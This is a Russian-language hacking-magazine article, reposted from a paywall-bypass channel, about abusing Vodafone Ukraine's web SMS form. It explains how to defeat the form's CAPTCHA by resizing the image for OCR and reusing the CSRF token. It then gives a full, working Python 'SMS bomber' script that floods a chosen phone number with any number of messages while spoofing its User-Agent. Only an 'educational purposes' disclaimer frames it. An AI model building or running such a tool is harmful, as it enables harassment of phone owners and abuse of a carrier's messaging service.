JustPaste.it

Хакер - SMS-бомбер на Python. Трюк от читателя: эксплуатируем недоработки Vodafone (бывший «МТС Украина»)

nopaywall

https://t.me/nopaywall

В этой статье мы исследуем ошибки реализации CAPTCHA и CSRF-токенов, в результате чего научимся рассылать SMS в любом количестве через гейт Vodafone.
warning-icon.jpg

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Обзор онлайн SMS-сервиса Vodafone

Наш сегодняшний подопытный, портал http://mts.ua, раньше принадлежал «МТС Украина». Эту контору выкупил Vodafone. Есть на этом сайте и форма отправки SMS.

Защищена она цифровой CAPTCHA из четырех символов. Стоит отметить, что форма позволяет отправлять SMS только клиентам Vodafone с префиксами номеров:

+38050 +38066 +38095 +38099

Теперь посмотрим на саму CAPTCHA. Как видишь, цифры вполне различимы. Они имеют красный цвет, но их верх обрезан, и расположены они очень близко друг к другу.

А теперь приглядимся более внимательно к той части скрипта, которая отображает CAPTCHA. Если мы сформируем ссылку

http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=115&height=42&backColor=0xffffff&foreColor=0xff0000

то увидим CAPTCHA с высотой 42 пикселя и 115 пикселей шириной. Изменив значения на 242 и 315, мы получим удивительный результат: обрезанный верх цифр уйдет и расстояние между символами увеличится.

При отправке SMS скрипту http://www.mts.ua/ru/online-services/send-sms/ через метод POST передаются следующие параметры:

  • YII_CSRF_TOKEN — это CSRF-токен, который нужно прочитать из HTML один раз при подготовке рассылки;
  • widgetId:'messager' — это стандартное значение, оно не меняется;
  • MessageForm[network]:'38050' — из значения ясно, что это мобильная сеть;
  • MessageForm[phone]:'123-45-67' — номер телефона, куда отправляем SMS;
  • MessageForm[encoding]:'cyrilic' — кодировка сообщения, можно менять;
  • MessageForm[is_translit]:'0' — транслитерация (0 — выключена, 1 — включена);
  • MessageForm[message]:'Привет 123' — сам текст сообщения;
  • MessageForm[verifyCode]:'4444' — распознанная CAPTCHA.

Также не стоит забывать, что нужно хранить cookies! В дальнейшем мы к этому вернемся.

 

Разработка SMS-бомбера

Попробуем разработать SMS-бомбер — скрипт, который будет рассылать через гейт множество однотипных SMS-сообщений. Разрабатывать будем на Python 2.x, также нам понадобятся модули requests, pytesseract, Image.

Скрипт мы будем разрабатывать под Windows, с чем и связаны особенности установки Tesseract и настройки путей.

В самом начале мы получаем CSRF-токен:

def get_csrf(): xhtml=get_url("http://www.mts.ua/ru/online-services/send-sms/",1) xs=xhtml.find("var csrfToken = '") xl=len("var csrfToken = '") csrf_=xhtml[xs+xl:xs+xl+40] return csrf_

Функция очевидная — обычный поиск текста. CSRF-токен получаем всего один раз за всю рассылку.

Теперь нужно получить CAPTCHA и распознать ее. Для этого мы будем использовать Tesseract. Вначале нужно установить саму программу и модуль Python к ней. Полный исходный код функции можно посмотреть в скрипте, который я приведу в конце статьи.

В этой функции мы скачиваем CAPTCHA и сохраняем ее на диске как xcaptcha.png. Затем мы распознаем ее с помощью pytesseract и проводим проверку длины распознанной строки. Если в ответе мы получили четыре символа, значит, все правильно, если нет — пытаемся распознать повторно до тех пор, пока не получим искомые четыре цифры.

Вероятность распознавания капчи — 40–60%. Конечно, не 100%, но все равно солидно.

Для сохранения cookies и получения данных по URL используется вспомогательная функция get_url: куки сохраняются (или нет) в зависимости от значения xparam.

Остается только отправить само сообщение. Это выполняется в функции send_sms, где заполняются все описанные выше параметры для скрипта http://www.mts.ua/ru/online-services/send-sms/ и отправляется POST-запрос.

В зависимости от наличия в ответе строки

<div class="response-message">

мы определяем, успешно отправлено сообщение или нет. Стоит отметить, что User Agent мы подставляем поддельный:

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} Использование SMS-бомбера Использование SMS-бомбера
 

Заключение

На этом у меня все. Полный код скрипта приведен во врезке ниже, а я в качестве заключения еще раз напоминаю: все то, что ты сегодня прочел, опубликовано исключительно в образовательных целях. 

Полный листинг скрипта

 

import sys,os,requests,time,subprocess,string try: import Image except ImportError: from PIL import Image import pytesseract pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe' tessdata_dir_config = '--tessdata-dir "C:\\Program Files (x86)\\Tesseract-OCR\\tessdata"' ## ---------------------------------------------------------------- headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} SESSION="" COOKIES="" ## ---------------------------------------------------------------- def write_to_file(fname,xdata): f=open(fname,"w") f.close f=open(fname,"wb") f.write(xdata) f.close ## ---------------------------------------------------------------- def get_u rl(xURL,xparam): global headers global SESSION global COOKIES try: r = SESSION.get(xURL, headers=headers,allow_redirects=True) if xparam==1: COOKIES=r.cookies except: print "[-] Network errror !" sys.exit(0) if r.status_code != 200: print "[-] Server errror",r.status_code sys.exit(0) return r.content ## ---------------------------------------------------------------- def get_captcha(): n_try=1 xlen_=5 while xlen_!=4: print "[*] Getting CAPTCHA from mts.ua, attempt number",n_try captcha_=get_u rl("http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=315&height=242&backColor=0xffffff&foreColor=0xff0000",0) print "[+] Captcha downloaded" write_to_file("xcaptcha.png",captcha_) print "[+] Captcha saved to xcaptcha.png" d_captcha=pytesseract.image_to_string(Image.open('xcaptcha.png'), lang='eng', config = tessdata_dir_config) xlen_=len(d_captcha) try: z=int(d_captcha) except Exception as e: xlen_=5 if xlen_!=4: print "[-] OCR is no good:",d_captcha n_try=n_try+1 print "[!] Well done OCR is good:",d_captcha return d_captcha ## ---------------------------------------------------------------- def get_csrf(): xhtml=get_u rl("http://www.mts.ua/ru/online-services/send-sms/",1) xs=xhtml.find("var csrfToken = '") xl=len("var csrfToken = '") csrf_=xhtml[xs+xl:xs+xl+40] return csrf_ ## ---------------------------------------------------------------- def send_sms(csrf,captcha,xnet,xnumber,xsms): global SESSION global COOKIES xcaptcha=str(captcha) xdata={'YII_CSRF_TOKEN':csrf,'widgetId':'messager','MessageForm[network]':xnet,'MessageForm[phone]':xnumber,'MessageForm[encoding]':'cyrilic','MessageForm[is_translit]':'0','MessageForm[message]':xsms,'MessageForm[verifyCode]':xcaptcha} r = SESSION.post(url="http://www.mts.ua/ru/online-services/send-sms/", headers=headers, data=xdata, cookies=COOKIES) zhtml=r.content sms_status=zhtml.find("<div class=\"response-message\">") if sms_status!=-1: print "[+] SMS Status: Sent OK" return 1 else: print "[-] SMS Status: Sent BAD" return 0 ## ---------------------------------------------------------------- os.system("cls") print "-=[Vodafone SMS Unobomber v 0.1]=-" SESSION=requests.Session() sms_text=raw_input("Enter SMS message: ").decode(sys.stdin.encoding or 'utf-8') xnetwork=raw_input("Enter mobile network(38050;38066;38095;38099): ") xnumber=raw_input("Enter mobile number(in format XXX-XX-XX): ") number_of_sms=int(raw_input("Enter number of SMS's(1..XXX): ")) goods_=0 bads_=0 totals_=number_of_sms XCSRF=get_csrf() print "[+] YII_CSRF_TOKEN =",XCSRF while number_of_sms>0: CAPTCHA=get_captcha() print "[*] Sending SMS ..." xresult=send_sms(XCSRF,CAPTCHA,xnetwork,xnumber,sms_text) if xresult==1:goods_=goods_+1 if xresult==0:bads_=bads_+1 number_of_sms=number_of_sms-1 time.sleep(2) print "----------------------------------------------------------" print "[!] Total:",totals_,"; Goods:",goods_,"; Bads:",bads_ ## ---------------------------------------------------------------
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall